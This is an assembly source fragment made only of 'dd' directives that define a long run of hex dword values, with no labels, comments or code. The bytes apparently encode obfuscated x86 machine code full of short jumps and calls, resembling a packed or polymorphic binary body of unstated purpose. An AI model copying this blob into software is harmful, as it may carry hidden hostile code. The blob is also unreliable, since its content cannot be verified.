		dd 0F612BADh, 0C89h, 6890F00h, 81000000h, 49A1BBE1h, 3BB86613h
		dd 0F08B66A2h, 5810Fh, 81660000h, 0F7F79F2h, 8166F9B7h
		dd 6082C4C2h, 0CBBF0F53h, 0C8806158h, 8E9EBh, 5430000h
		dd 7C795DE5h, 8A50EFBDh, 0FF558FDh, 8B66F6B7h, 0E68166FBh
		dd 8B66F6A0h, 0DE8DFh, 58430000h, 0E5369811h, 9F4D9940h
		dd 5A69DDEAh, 8840Fh, 81500000h, 58BD0FD6h, 0B70F5E25h
		dd 0D38B66F8h, 0FF86FB0h, 8166C6BFh, 8A67CAD1h,	0C18B66CBh
		dd 5880Fh, 81660000h, 8BEC5FD1h, 0D5B866C7h, 268F0F16h
		dd 60000000h, 0EE8h, 0EE953500h, 0C56554B1h, 0EF22E261h
		dd 5A5B66C8h, 0AE8h, 0AC047900h, 49B13DC8h, 59B45B6Dh
		dd 0EE961h, 11C40000h, 7193AEECh, 80959FFEh, 0F161D2D0h
		dd 3551DA81h, 14E849EDh, 0EF000000h, 27A8528Fh,	0D85D2AEDh
		dd 73C91CCAh, 1495BB29h, 0F5DF42C6h, 0E88AB25Eh, 0Ch, 1558B79Ch
		dd 0ED3DCC42h, 851EEEB8h, 5840Fh, 81660000h, 5AE5DCF1h
		dd 0E95371B0h, 10h, 400F64BDh, 43EEF723h, 67828196h, 4FEF7F0Ch
		dd 0BBD1815Eh, 503212EFh, 28D0Fh, 5A560000h, 0BB66605Bh
		dd 0CF8B88DEh, 0E9816661h, 0C88BFF6Ah, 816046B4h, 0C2F289DAh
		dd 0BE945h, 88F80000h, 0C01150FEh, 87548BE7h, 8B6661B2h
		dd 5E9D0h, 95850000h, 51187CBEh, 12E8h,	4499D900h, 0AFEF5FE7h
		dd 8D77AFA6h, 0A7E6CE55h, 0E90648B8h, 8, 6C88FC5h, 8E78FEE0h
		dd 81605F5Eh, 3977B1C1h, 0D1816618h, 8061DC53h,	81661FD4h
		dd 0F6CA4D8h, 6660D3BFh, 3FC3C981h, 0BE9h, 0C79F6000h
		dd 3B922FCh, 0A4C20772h, 5E961h, 6A290000h, 0F5A9B468h
		dd 78BB88B0h, 0F4770D8h, 18Fh, 66F9F800h, 95EDE781h, 26EA8060h
		dd 10E9h, 3203F900h, 36E96AE0h,	12C25D84h, 0F01BC035h
		dd 66526172h, 5E4EE2BAh, 0BE8h,	0A557D200h, 0A6F2134Fh
		dd 0CE97F6F4h, 9E9h, 8A410900h,	6CE185A4h, 665F87CCh, 66F9D08Bh
		dd 0C68AF28Bh, 8B51F18Bh, 816658C7h, 0FA7EAF3h,	48Ch, 36B96600h
		dd 58FC56B3h, 81FEBF0Fh, 0E6CD7DD2h, 0C0B70F5Bh, 0FE9h
		dd 3E442A00h, 45CC0A4Eh, 0D01355B0h, 264E42CFh,	0FE8F9h
		dd 0FAEA0000h, 0F1469264h, 5ADBAC85h, 0D749EBC8h, 0D2BF0F50h
		dd 13E85Ah, 0BA4E0000h,	76508D28h, 28D94AD5h, 4FFCA2h
		dd 0BDCA5BFBh, 0AE9DDh,	5BF30000h, 4328B0C2h, 4F69D768h
		dd 0F950BE5Fh, 0CE90AD7h, 0FA000000h, 0C7228A2Fh, 0DF55E4C9h
		dd 0E90E311Bh, 12h, 24D99E3Ch, 0C97E7113h, 0E8E306DDh
		dd 79262F46h, 5E88FB7h,	0E1000000h, 0D740C3C1h,	14E9h
		dd 0EAAE6500h, 0E0F448C6h, 0F40931DCh, 0FD880D33h, 70AFA9BCh
		dd 0AFB758F4h, 61E28166h, 66D98B78h, 0E8F957BBh, 0Bh, 0CCDD5F65h
		dd 0EC2B2286h, 0BFB8FF28h, 19D09309h, 0E9C38B58h, 7, 2C1391B3h
		dd 0E9F33B1Eh, 0Bh, 6B4D2DC2h, 24F55CCEh, 0E8A2ED6Fh, 10h
		dd 1D5B34D3h, 7D0D4666h, 7FD4B99Dh, 0B393D0E7h,	6659CB8Bh
		dd 8E0FCB8Bh, 3, 66D9BF0Fh, 0BF0FFE8Bh,	77BF66C2h, 0C9BF0F01h
		dd 198B0Fh, 14E90000h, 75000000h, 0DF0B9FF4h, 70348A31h
		dd 28EAF043h, 7327DE5Dh, 0FC2CF14Fh, 48C0Fh, 0BB660000h
		dd 0DE99AB0h, 69000000h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h
		dd 0B0F9E181h, 0BF0F66F9h, 3850FF6h, 80000000h,	0F5607C5h
		dd 486h, 0D3BE6600h, 8B665E9Ah,	1F8E0FCFh, 0F000000h, 198Fh
		dd 13E800h, 0A59F0000h,	7213CF07h, 0FD9647F7h, 0A6190D2Ah
		dd 0AF1F4FE1h, 0D08B5B16h, 94B4D181h, 0B70F79AEh, 0E9CC8AD1h
		dd 0Bh,	287E6E96h, 4961BA91h, 0E924C83Dh, 0Fh, 716068C6h
		dd 0B0586CADh, 0ECE4D0Eh, 0FF54E83h, 385h, 0C9B70F00h
		dd 5BD08B56h, 6E9F5h, 85D90000h, 4AEADA84h, 2850Fh, 6BB60000h
		dd 13800Fh, 0EE90000h, 39000000h, 85E0932Fh, 7B027D5h
		dd 846DE890h, 6E882h, 74310000h, 427F89A8h, 0F900BE66h
		dd 5E95Fh, 46B00000h, 0F41AB27h, 0DF8BF2B7h, 12E9h, 99503600h
		dd 4689B17Dh, 73FC86FEh, 0DB80C6F2h, 66C9CCCEh,	0CAF5D881h
		dd 830Fh, 880F0000h, 6,	5628F181h, 0F531A61h, 0F55BF3BFh
		dd 810FD68Bh, 0
		dd 81D2B70Fh, 0E7D845EBh, 86B8663Dh, 0BBC9810Fh, 8A7F5824h
		dd 0BF0FF5F1h, 804FB9F6h, 11E810C9h, 53000000h,	73830906h
		dd 0A2F699CBh, 436C7ECAh, 55C17B0Ch, 0FAB70F53h, 5853585Eh
		dd 0E9CABF0Fh, 0Ah, 78E0306Ch, 2AEBD390h, 8B6663EBh, 8FB966D0h
		dd 0C7B70F12h, 6880Fh, 0C2810000h, 6F6C68DBh, 11E8h, 3ED9E800h
		dd 0A7F8EB09h, 0A87175EAh, 255D79DCh, 12E9B92Bh, 0B7000000h
		dd 850DDEC3h, 0CC6A15B0h, 396BD6A5h, 25243BE9h,	0AE9590Ch
		dd 67000000h, 774B10A9h, 0CDF8E159h, 66E0B7B9h,	0FC52D8BBh
		dd 8F0FD9B0h, 0
		dd 3CD8E681h, 0D08116A9h, 5A2651ADh, 11E9h, 73FFA900h
		dd 0F5786B87h, 0A53E5D48h, 634F75B0h, 0D78B02CDh, 3860Fh
		dd 0B70F0000h, 0C38166C3h, 0FE8C4DCh, 0D6000000h, 0C0189DC2h
		dd 0BD6CE064h, 57045A9Fh, 9E93997h, 74000000h, 8AB4330Dh
		dd 0FDE05BB9h, 18B96659h, 0D0816613h, 0DE8B260Bh, 0C9D2BE66h
		dd 10E960h, 6ABE0000h, 2B70CCA7h, 14E77DAh, 0F745EDF8h
		dd 0F18AAC70h, 0CF8B6661h, 13E9h, 813A0F00h, 0AC8A597Eh
		dd 0EF6AB616h, 0BE804340h, 0CB2C0EA1h, 0DE9F08Bh, 7A000000h
		dd 0F413F98Bh, 12DD7DCDh, 46606776h, 6E9h, 7B650A00h, 8B4ED958h
		dd 5E9F2h, 6A150000h, 0E9D6A5CCh, 10h, 0F4230F5Dh, 0EECA325Dh
		dd 319D85D8h, 0EA613DF8h, 0E810F60h, 0E8000000h, 8, 2C0B5EF7h
		dd 555B6CD6h, 0FE958h, 43560000h, 9CCEAB7Eh, 6E620A9Ch
		dd 0A310B152h, 0F8F96175h, 56C38B66h, 1860Fh, 5AF80000h
		dd 8E85BB1h, 7E000000h,	613A6F5Bh, 81840EC9h, 7D8A23EAh
		dd 0F28B5A3Ch, 10E9h, 926B9100h, 83085C53h, 24D08260h
		dd 0FCD3D398h, 0D8B70F8Eh, 83BF50B5h, 66513FCFh, 0B866D38Bh
		dd 60BFF00Dh, 806EEF1Eh, 0B70F68C6h, 13E9C8h, 0F8A60000h
		dd 5965FD8h, 9F8AEA9Ah,	4F37C041h, 7A533095h, 6E964h, 0E3640000h
		dd 22A91906h, 19830Fh, 14E90000h, 2D000000h, 56ACCA08h
		dd 3B73F31Dh, 0EB71F636h, 772531C0h, 0B51FD003h, 0FAB9667Fh
		dd 8E983h, 292E0000h, 0F98F5CE8h, 81668F0Fh, 0FF82CC6h
		dd 689h, 63E88100h, 6604A060h, 8CAE981h, 0E69DB866h, 0D7EDB8B8h
		dd 10E94Ch, 0BACD0000h,	0B1752AB5h, 362D35B1h, 0BD2366A0h
		dd 0FF9017Ch, 0FCF9F9B7h, 0BAC98166h, 0E958B2B4h, 0Eh
		dd 14536AE2h, 70B97194h, 0AAAE259Eh, 0BF0F00EFh, 860F57DBh
		dd 3, 5BADDD80h, 8B665751h, 66585BD7h, 67BAC181h, 48F0Fh
		dd 0BA660000h, 870FD1B9h, 12h, 6E8h, 0EF7E9F00h, 0F30A294h
		dd 83h,	0BE95900h, 2D000000h, 0BC4B97E9h, 1905DF7Fh, 10E9672Eh
		dd 0FC000000h, 44C48616h, 30C064A0h, 0F2C464D4h, 8110B401h
		dd 9EC202DFh, 11E95Fh, 16530000h, 42F31683h, 0CA7D280Ah
		dd 0C3D9078Fh, 0F5FB2898h, 0B2F3B70Fh, 0A890F4Fh, 0E9000000h
		dd 5, 35824FAEh, 12E8B0h, 0C9BC0000h, 24337D53h, 137D73DDh
		dd 566DF238h, 34F951Ch,	0FC5AF98Bh, 830Fh, 850F0000h, 2Fh
		dd 10E8h, 36162C00h, 2057A75Bh,	38F041AFh, 98DD53A9h, 14E932h
		dd 0AAF70000h, 7788670Eh, 0FE40D4ECh, 0C940B5D8h, 0E4D3BBBFh
		dd 66598287h, 33C2E981h, 158F0Fh, 10E90000h, 1D000000h
		dd 3F2B13D6h, 0DF3CEC9Fh, 0E2FD9E38h, 0E9031D66h, 14h
		dd 2F5F272Ah, 201B1019h, 385111C3h, 3FAE2010h, 75FC30B8h
		dd 6E957h, 938C0000h, 0B21D4FCFh, 0BBB86658h, 17830F04h
		dd 60000000h, 0EE9BAB7h, 0D0000000h, 0F18DDB95h, 6B867782h
		dd 26214889h, 8B5161CBh, 870F5FF9h, 2, 0B9F9C88Bh, 4CD068DDh
		dd 0B7BF5760h, 59704D71h, 0D6618CB8h, 0E2816133h, 0DB12372h
		dd 0FCEBF0Fh, 18Ch, 12E9FC00h, 25000000h, 1AC4CC5Bh, 1659B264h
		dd 11784779h, 42EA02B8h, 83BE669Bh, 0A236BB84h,	8B663638h
		dd 816660D9h, 0FB465C8h, 0F961DFBFh, 0B8FBBF0Fh, 39A02B36h
		dd 3323BA66h, 66565E56h, 5FE7E4BEh, 0FA8B6660h,	890F61F9h
		dd 4, 957BF66h,	38E0Fh,	0C3800000h, 6604B014h, 0FC6935BFh
		dd 8B668EB4h, 7E9FBh, 5E050000h, 97CFCB09h, 11E8A1h, 5D510000h
		dd 294F1B4Dh, 320D8D3Fh, 5D52821Ah, 0F8A7DDB0h,	66F08A5Bh
		dd 0E92FD981h, 0D1C0D281h, 0B8664E2Ah, 0E8560FF4h, 12h
		dd 5278B2DDh, 0C4F982ABh, 18EC3BF1h, 0BB9C7B19h, 5B5FB5DEh
		dd 85D2BE66h, 0F8CEB70Fh, 6E9h,	0DDC84C00h, 568BD08Fh
		dd 5E960h, 54770000h, 8B5DDE53h, 8A5A61F1h, 0BEDB80E1h
		dd 816660F5h, 0F8300E2h, 0F61CBBFh, 38Ch, 0C88B6600h, 91F08166h
		dd 0F5B5769h, 382h, 0DADD8000h,	1294D381h, 0B9663808h
		dd 0D2800A83h, 0CEBF6649h, 8E92Ch, 0BB9B0000h, 665A310Fh
		dd 0F78BB245h, 58D0Fh, 0F600000h, 0B861D7BFh, 1AA65E09h
		dd 5830Fh, 81660000h, 80C86CCBh, 0B70F7AC0h, 0FC88BD6h
		dd 38Bh, 0C28B6600h, 8ADB8166h,	0FAD981E7h, 802BCACEh
		dd 5E5362ECh, 0B4D3BF0Fh, 0FE85Fh, 13C30000h, 74F952E6h
		dd 635E5F90h, 80C02D2h,	815FF553h, 0DA3BEDD7h, 3B53BA41h
		dd 8D0F4D5Fh, 5, 0B78EEBAh, 0A0BA6012h,	0E95495EAh, 0Bh
		dd 72EDFFC3h, 7E25EEC1h, 618CC815h, 26E98166h, 6626BF36h
		dd 0F78B39E2h, 0FE9h, 8DF45300h, 0D090DF64h, 2C04F942h
		dd 0CE78BEF9h, 1EE181F5h, 0E851160Dh, 12h, 0BF04029Ah
		dd 6D09E8CCh, 852AF1Bh,	0BCFB43A9h, 0DB81280Fh,	2570440Dh
		dd 0E781665Eh, 13E9D2DCh, 97000000h, 0CE10A656h, 5302C33Bh
		dd 11E924Ch, 0CB42BA28h, 7E8E48Eh, 0CF000000h, 40177FC4h
		dd 56598EDBh, 5A8FF780h, 11E9h,	0FB5F9300h, 0E61C5958h
		dd 9EFE955h, 5623512Ah,	8F0FE0BAh, 1Ah,	1FBF6660h, 0FE915h
		dd 8A830000h, 0C757B43Eh, 8AB97BE4h, 4634100Ch,	8D0F61B3h
		dd 3, 8BD38B66h, 118A0FF0h, 0E8000000h,	6, 58328B05h, 3FB8F006h
		dd 5B6E9614h, 1FB9B3B2h, 0E95A3ABEh, 5,	0EDBC0F5h, 0C38B6606h
		dd 0EE9D98Ah, 7A000000h, 0C4500B42h, 158FC8DEh,	6B9FF2Fh
		dd 1C870F87h, 0E8000000h, 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h
		dd 8BB0FBB7h, 0BE663F3Fh, 0F59D0EFh, 581h, 0F1816600h
		dd 0BF660853h, 0E9F9A7FFh, 7, 89CB83E1h, 666ABCE8h, 0AE8C68Bh
		dd 0C7000000h, 0F253C812h, 5C5053E6h, 10AABA57h, 805E5121h
		dd 8B66E9F0h, 0D68166D3h, 0D08BBA5Eh, 8E9h, 2B1CCC00h
		dd 4C36A1D6h, 0D2815787h, 49394DE5h, 8166605Fh,	0B21A19E0h
		dd 8E0F6158h, 6, 1E3BC181h, 81661846h, 0B0B249E2h, 6E8EAh
		dd 0DCAD0000h, 0A330454Ch, 5A8DC180h, 0CD1DBF66h, 0CF9CCBBEh
		dd 0F3BF0F46h, 0C18AC78Bh, 0E3FDBF66h, 0FDFBF0Fh, 8B66DFB7h
		dd 816657D8h, 5BBC3FDBh, 880Fh,	8B660000h, 0E9D78BF3h
		dd 7, 620EBF36h, 0E9F43ECAh, 0Ah, 210DA28Bh, 0F6E55431h
		dd 8B66C226h, 0CE8050F1h, 75B859A3h, 0F6B2584h,	0BF0FF7B7h
		dd 0BE8CBh, 0CB940000h,	4F9C4F68h, 2471B9A0h, 595850ABh
		dd 0C9E7E981h, 0BF533BF9h, 485A58C2h, 0E9D7815Eh, 0F430A44h
		dd 82h,	0D0BF0F00h, 2CE48060h, 0F6816661h, 9E960A4h, 3000000h
		dd 0E259268Fh, 0CF36A2EAh, 55F1BCB8h, 0AE8602Ah, 98000000h
		dd 7BCC00EAh, 0F9BCAD81h, 0FE8AEh, 299A0000h, 9201A8DCh
		dd 0C91A03E1h, 0A3554051h, 0F5F5B28h, 583h, 0F2816600h
		dd 6661D870h, 820FCA8Bh, 14h, 0FE9h, 7EF2700h, 0DAC1A679h
		dd 58F460C5h, 67DABB28h, 0A5B86060h, 0B81C9D7Ah, 3E89EC31h
		dd 6E861h, 36610000h, 0FF6B1C0Ch, 0C880615Bh, 8B05B124h
		dd 0C28B66D6h, 11840Fh,	0AE80000h, 0B000000h, 0C885156Dh
		dd 0CD25471Ch, 605AF524h, 0E9F3B70Fh, 13h, 686D84C6h
		dd 0C92AD151h, 22C31BC1h, 8C800146h, 61FBCED0h,	95FBB60h
		dd 50B95605h, 616C86E7h, 3880F60h, 0F000000h, 8166F7BFh
		dd 6170A6C9h, 2870Fh, 0F98B0000h, 7E9h,	27789D00h, 8D7B58BDh
		dd 78E0Fh, 66520000h, 3CD0C081h, 0FE959h, 0EC920000h, 1F2C2221h
		dd 0EBCEC0E2h, 0C7F0F627h, 89BF66E7h, 0C840FB7h, 0F000000h
		dd 681h, 870F00h, 0F000000h, 0B70FFBB7h, 6FD381CEh, 0FC0B8948h
		dd 0BE83EB7h, 91000000h, 2930AB78h, 506CE54Ah, 0BF66B8BFh
		dd 0E9595852h, 8, 98C63A42h, 0A1A8FCD5h, 5E9h, 6C4D9400h
		dd 53602EF8h, 94ABF9BBh, 13E95A73h, 34000000h, 236542C4h
		dd 0BB76DE8Ah, 0C8927E18h, 637D83D3h, 81619CFBh, 53A1D3EAh
		dd 0D38B6652h, 0F8E0Fh,	0AE90000h, 9C000000h, 0B17EA9ADh
		dd 5DFE3F44h, 4DB96644h, 0D2BF0F88h, 582DE981h,	0B9663751h
		dd 5E996DDh, 0A1000000h, 7C6F0DF8h, 0FC72E881h,	13E878ACh
		dd 13000000h, 643B29F3h, 737C47BDh, 0A35D1772h,	2772E3B0h
		dd 5AF5B817h, 51C1F180h, 5BD68B66h, 0EE9h, 0ACC55E00h
		dd 0E7D30C1Bh, 0FDCA9BE4h, 0E9731876h, 11h, 8F978D79h
		dd 3DA0730Ah, 0B51C7619h, 1DF288FCh, 0D800F37h,	0E8000000h
		dd 7, 129A1DE7h, 58D6033Dh, 5027B866h, 1BF68166h, 42BBBE3Dh
		dd 0F68170C1h, 52B0A215h, 13E9F8h, 0CE250000h, 8EE952B6h
		dd 167CBCDAh, 7E6E9606h, 61BA9128h, 8B66F849h, 0CCEDB9DAh
		dd 0B70F2D52h, 5820FD1h, 0B9000000h, 396C5E71h,	0CECB8166h
		dd 0C7E880FEh, 7E8h, 5F85E200h,	2A268E3Dh, 0BE9h, 43875B00h
		dd 0F2905139h, 6B628975h, 0C281665Fh, 5853D7A7h, 52FE8B66h
		dd 2860Fh, 0E78A0000h, 8F0F605Bh, 3, 81A3C980h,	81D7DCCFh
		dd 0F18B6165h, 5DBA69B0h, 0E922A67Bh, 10h, 3F3AD4Eh, 0BDDD566Ch
		dd 885F6A46h, 0F6ABC65Fh, 1EC821B8h, 0FB8BF540h, 9E9h
		dd 4591AD00h, 4282AA23h, 0F520A43h, 38Dh, 0C68B6600h, 0D1B70F5Bh
		dd 8BF96057h, 605A61C6h, 0CE9CA8Bh, 0EA000000h,	904EA4A5h
		dd 6FE43BA9h, 6162982Dh, 0E856B2B7h, 9,	22C41443h, 607929F1h
		dd 5A616018h, 0F1BF0F5Fh, 0CAC08160h, 0E80CE0D0h, 5, 68B3ABA9h
		dd 0DEB70F67h, 0E880615Bh, 0CE9DEh, 1B670000h, 0ABBF3939h
		dd 9AAFF3F9h, 0C2B6528Ch, 0B866D18Bh, 0D780E164h, 0F3AFBA84h
		dd 0F78B26C9h, 0AE960h,	0DBB50000h, 1FB96EDh, 0BB82CDE3h
		dd 6E9h, 1D041800h, 61AAE7E9h, 9EF08166h, 6660FC4Ah, 66821FBEh
		dd 0C546E381h, 7E961h, 0DA250000h, 2FEC8021h, 0D981532Ch
		dd 34E80DCh, 13E85Eh, 659F0000h, 0CB82BFEh, 0D1840DEh
		dd 0FF2B530Fh, 1BFFC145h, 8F0F5B11h, 2,	81660FB7h, 0F4FA5F1h
		dd 0E950CAB7h, 0Eh, 0AEF76359h,	0FFD2EE24h, 780BAA22h
		dd 60596215h, 56C0BF0Fh, 8E0Fh,	615B0000h, 68B0Fh, 0E1810000h
		dd 58B74DBFh, 8E8h, 28CC7F00h, 8D9FA65Fh, 0D8B0FEDh, 0E8000000h
		dd 7, 0EB26410Dh, 5AF75F3Fh, 0F381665Eh, 0CE886A8h, 16000000h
		dd 3E587A4Fh, 0CD72A17Ah, 6650C9BBh, 13F4CA81h,	14E859h
		dd 36F00000h, 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh, 41FE5BFFh
		dd 0B9607431h, 290BF467h, 8E0Fh, 5B610000h, 870Fh, 8B660000h
		dd 4840FCBh, 66000000h,	60903CBFh, 0CE9h, 6F81400h, 0AAA95190h
		dd 52B746C0h, 24A7B820h, 53611573h, 0B25BE68Ah,	0FBAB00Eh
		dd 882h, 0C8815100h, 78454A4Fh,	10E95Ah, 0BFBC0000h, 16BF8E74h
		dd 7D54C957h, 7AFB315Eh, 0EE8B47Ch, 0C5000000h,	33086C3Dh
		dd 84110C41h, 0D5002936h, 0E1816634h, 0F959F024h, 66D68B66h
		dd 6606D5BEh, 0E8564DBEh, 5, 0B70972A5h, 59BB669Fh, 840F5B95h
		dd 8, 25F78151h, 5A638E9Eh, 816653F8h, 58198FC6h, 5FAEB451h
		dd 0D980C28Bh, 0E8C38A95h, 0Bh,	0FBC05537h, 75E56D1Bh
		dd 58F05F62h, 13E8h, 5490E300h,	0CAD6A24Ah, 366CE3AAh
		dd 0E5AF4421h, 0C70BA7BFh, 8A0F50h, 5E000000h, 0F78B358h
		dd 1A80h, 12E800h, 76CC0000h, 8C05F869h, 33970127h, 8EC57046h
		dd 1DC0A7BEh, 0E95B5856h, 9, 97597542h,	0C2F04BBBh, 4860F27h
		dd 66000000h, 660C12BBh, 0FAB04B8h, 86h, 0F6C38100h, 0F7F0EB0h
		dd 1880h, 0FE800h, 0BDBD0000h, 0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh
		dd 0BFD28005h, 0E381665Ah, 0C681286Fh, 0E504E5Ah, 94BA5160h
		dd 5E67D702h, 617DC280h, 11E9F9h, 0BC060000h, 93ED9E8h
		dd 0EAA7F8EBh, 0DCA87175h, 81255D79h, 3AB69BF0h, 0F38B6600h
		dd 1723C381h, 0FFC69A9h, 888h, 28C0F00h, 60000000h, 2DBB6061h
		dd 615FD573h, 0FD68B66h, 0B8Dh,	5890F00h, 0BF000000h, 4120730Bh
		dd 7E9h, 77CB5100h, 9182D3D9h, 0A8BFB950h, 0E9581FFBh
		dd 8, 8E6F2FC5h, 851BD380h, 1BC98057h, 800F605Bh, 4, 41C7BA66h
		dd 61E9EE80h, 2687B866h, 0BE9h,	0FA26D00h, 7F69E73Eh, 0FBAB5162h
		dd 0BBABE66h, 0E9DA8B66h, 14h, 19BFF7FAh, 6591CD40h, 2E28B5B0h
		dd 0ED281AC0h, 676743B5h, 1BD68166h, 0D0816063h, 40A290E4h
		dd 8B66F961h, 0D8BB66C1h, 138E0F44h, 0E9000000h, 0Eh, 0FAA4E1Eh
		dd 0AA2D61B6h, 0F05199ECh, 51B8D5A8h, 8B30CB66h, 8461BEF8h
		dd 0D5800B85h, 0F960609Fh, 30DABB66h, 61C28A61h, 8166E2B0h
		dd 66094CD9h, 0A6ADF781h, 12E8h, 0F94A7500h, 0D28985BCh
		dd 72482400h, 0BC92CA2Eh, 0E9B904F4h, 0Bh, 4B97E92Dh, 5DF7FBCh
		dd 58672E19h, 731FE2B8h, 8B66F536h, 0E982B7DFh,	0Ch, 0B4D6C408h
		dd 0AFF1100Fh, 8B22A6C8h, 0B752BE66h, 60EFD281h, 0BF0F09D2h
		dd 14E8C3h, 0A7480000h,	8824407Ah, 73B6C16Ah, 6763C9ACh
		dd 8BB8647h, 6660C3B8h,	509415B8h, 605A615Eh, 0D6FBBE66h
		dd 9E8h, 0E25E7C00h, 0D9299189h, 0DCBE90CDh, 5A19D13Dh
		dd 0BF0F6061h, 585653D3h, 0BF66615Fh, 0CA8076E0h, 79D6815Ch
		dd 66357A97h, 66D5A8B9h, 26B8CF81h, 0F0808DB3h,	1820F34h
		dd 0F5000000h, 0AE8h, 1B50A800h, 35B8EA60h, 80BF795Eh
		dd 0FC5833F2h, 12E9h, 0C2B8200h, 9560EC43h, 7575B66Bh
		dd 0A033B972h, 6635C4FDh, 8B66D18Bh, 0AFBF66C1h, 0C3BF0F69h
		dd 8A38C780h, 0CEF380ECh, 13E95060h, 0DC000000h, 0DD1C1EA7h
		dd 0DD0846FBh, 0D4123B4Fh, 0BC19D31Eh, 0F55A5425h, 13E95061h
		dd 7D000000h, 0A67EC4F0h, 0CAB14C88h, 58DE942Bh, 491DA462h
		dd 0F5988E1h, 283h, 0B6F18B00h,	0CABF0FFBh, 9E8h, 4B32C400h
		dd 1E9D40C9h, 1CB998BAh, 581262FBh, 66FB8B66h, 4816C181h
		dd 6BC3B8BEh, 29B8660Dh, 12E8F8h, 0B3A10000h, 55F49B7Eh
		dd 5750146Fh, 0AB9B7353h, 0D7A5EF35h, 8B0F5BF5h, 4, 38C7B966h
		dd 0AE67B866h, 0E8737DBAh, 0BE60F812h, 769817AAh, 0EC9B77BAh
		dd 0F38B6179h, 54B953FCh, 5F45C9D5h, 0FF88B66h,	82h, 0CE8B6600h
		dd 0B70FCB8Ah, 11E9FFh,	0AC1B0000h, 0EEBFD691h,	7007D0BBh
		dd 7B356F1Ch, 51778B88h, 4006FCBAh, 0DB95900h, 804CDBDAh
		dd 8DB7C3C8h, 10E9h, 0E11EF200h, 0E45EA57h, 5D065FC8h
		dd 9415D25Ch, 0BE810h, 264D0000h, 28F1F6Fh, 0EEC8E727h
		dd 0F525F6Eh, 0F5ECFB7h, 1385h,	0BE800h, 0AA050000h, 0DFBB4B74h
		dd 4EFC1321h, 5A6160B8h, 66D3E780h, 0BB66C28Bh,	8B608C44h
		dd 6661F5F1h, 7E9FB8Bh,	0A2000000h, 198926Eh, 8F0F82E2h
		dd 0Ch,	5E8h, 0F970D00h, 5EF53CDDh, 22E08166h, 66F18A34h
		dd 0BF0FDF8Bh, 6602B2C6h, 4A66EF81h, 5BF180F5h,	0C890Fh
		dd 8B0F0000h, 6, 890Fh,	0B8560000h, 51395592h, 0BD3815Ah
		dd 6675A3DDh, 0F9E232BBh, 0A76CB866h, 0CCFABA60h, 6661353Ch
		dd 0FC3CCBEh, 58Fh, 898BA00h, 0F2813777h, 57921026h, 0BE960h
		dd 0A6AB0000h, 0D8ECFB13h, 7AFFDAE3h, 80C28168h, 6172DCFCh
		dd 12E9h, 94856900h, 7A1580C0h,	7137D2D6h, 7AEAEA7Ah, 66BBEAB5h
		dd 6660D68Bh, 0C181C78Bh, 71D27ABBh, 0F7BF0F61h, 60C9BF0Fh
		dd 14E9h, 0AF9BA700h, 86F5F6D2h, 3A5480F9h, 42FB1998h
		dd 0CD35D1C2h, 13E8B4h,	95890000h, 840D57CAh, 23973122h
		dd 0C287A43Ch, 31EC8224h, 0E2DE81B9h, 590275A2h, 0EE961h
		dd 0C5CF0000h, 68417743h, 61C03B55h, 6C289397h,	0F8B8C480h
		dd 0CF8B6EB3h, 0FDAB70Fh, 38Ch,	0F9B70F00h, 0FAF9B960h
		dd 5E93F9Eh, 0A8000000h, 0DEF8FC05h, 8497B961h,	0EE93D07h
		dd 17000000h, 0FD322EAAh, 0AF0472AEh, 878C6525h, 74F780BAh
		dd 3820Fh, 0B70F0000h, 665251D3h, 5B58DE8Bh, 3C72ACBFh
		dd 0CE9F821h, 7A000000h, 29133C00h, 0CC52EB1Bh,	8018272Dh
		dd 60B71FEAh, 4BE18166h, 0E1B96669h, 0D16BBB78h, 8D0F33FDh
		dd 2, 0EE9C68Bh, 0C6000000h, 88D4749Dh,	5D5B743Ah, 4FD093DFh
		dd 1DB95694h, 5A3E930Ah, 0AE9h,	0C812C700h, 53E6F253h
		dd 0F575C50h, 0C781C2BFh, 6D8D033Eh, 2870Fh, 45B40000h
		dd 0F78B5260h, 0D38B665Bh, 0CA816661h, 890FC614h, 9, 38F0Fh
		dd 8B660000h, 8E9C2h, 0B5D50000h, 0B4CA603Bh, 6653C5C3h
		dd 7AB5EA81h, 3800F5Bh,	0F000000h, 0BF0FF8BFh, 0FCA8BC1h
		dd 81FCDABFh, 0EB0E90E2h, 0CE97Ah, 596D0000h, 0FCD87FDFh
		dd 8DD14A5Dh, 8E977FFh,	0D3000000h, 0CBB35CCCh,	0FBD9D59h
		dd 28Ah, 663EB400h, 0BF0FC88Bh,	0CF8B66C9h, 13D009B9h
		dd 0D6BF0F38h, 6FBE63B0h, 66512E62h, 6660C78Bh,	0FB352B8h
		dd 1788h, 11E800h, 77A0000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch
		dd 581BE83Eh, 80B8B161h, 8E0F56EDh, 7, 1890Fh, 0FFC0000h
		dd 8Fh,	36BF6600h, 5860F7Ah, 60000000h,	61C28B66h, 0BF0FFB8Bh
		dd 0B60BB8FFh, 0BA663FC0h, 5052DE34h, 81595FF8h, 3E2D3AC1h
		dd 840F607Fh, 0
		dd 12E8h, 1E472F00h, 495640BCh,	531E5494h, 0B5C15B48h
		dd 66EF0B0Fh, 615FD08Bh, 28A0Fh, 57B40000h, 13E9h, 0C3F4D900h
		dd 14C45685h, 5FF9BF17h, 0C6BE9F01h, 610904C4h,	6E9h, 0E932E200h
		dd 0E838A6AEh, 0Bh, 6506B7AAh, 72B1646Fh, 0E8FBF5BDh, 5
		dd 3497ACC1h, 8B5E5A8Fh, 6BEE81D7h, 0F1FC338h, 0D78BDBBFh
		dd 8820Fh, 840F0000h, 2, 0F28B5E57h, 9E9h, 5F931C00h, 1C5958FBh
		dd 850F55E6h, 10h, 0A8B0Fh, 5E90000h, 61000000h, 7D1792E7h
		dd 80CEBF0Fh, 0BF0F38E4h, 8E9F6h, 49DF0000h, 6D289A93h
		dd 0FCB2A5C4h, 7D74B966h, 58C0Fh, 81660000h, 8114D3E1h
		dd 55FB2BE6h, 9E97Fh, 83980000h, 9D807870h, 0E8C9E7DEh
		dd 10h,	0BE833E13h, 0A3A72742h,	52387302h, 0F8F2656Bh
		dd 8E95BFCh, 0E2000000h, 0DD76680Ch, 0F6F599Dh,	830FF1BFh
		dd 2, 0C880D88Bh, 66F98B04h, 568992B8h,	43CBE9BFh, 0BF0F5E47h
		dd 0B96651CEh, 815FCFECh, 0D34094DEh, 0F1BF0F3Eh, 85BFEA8Ah
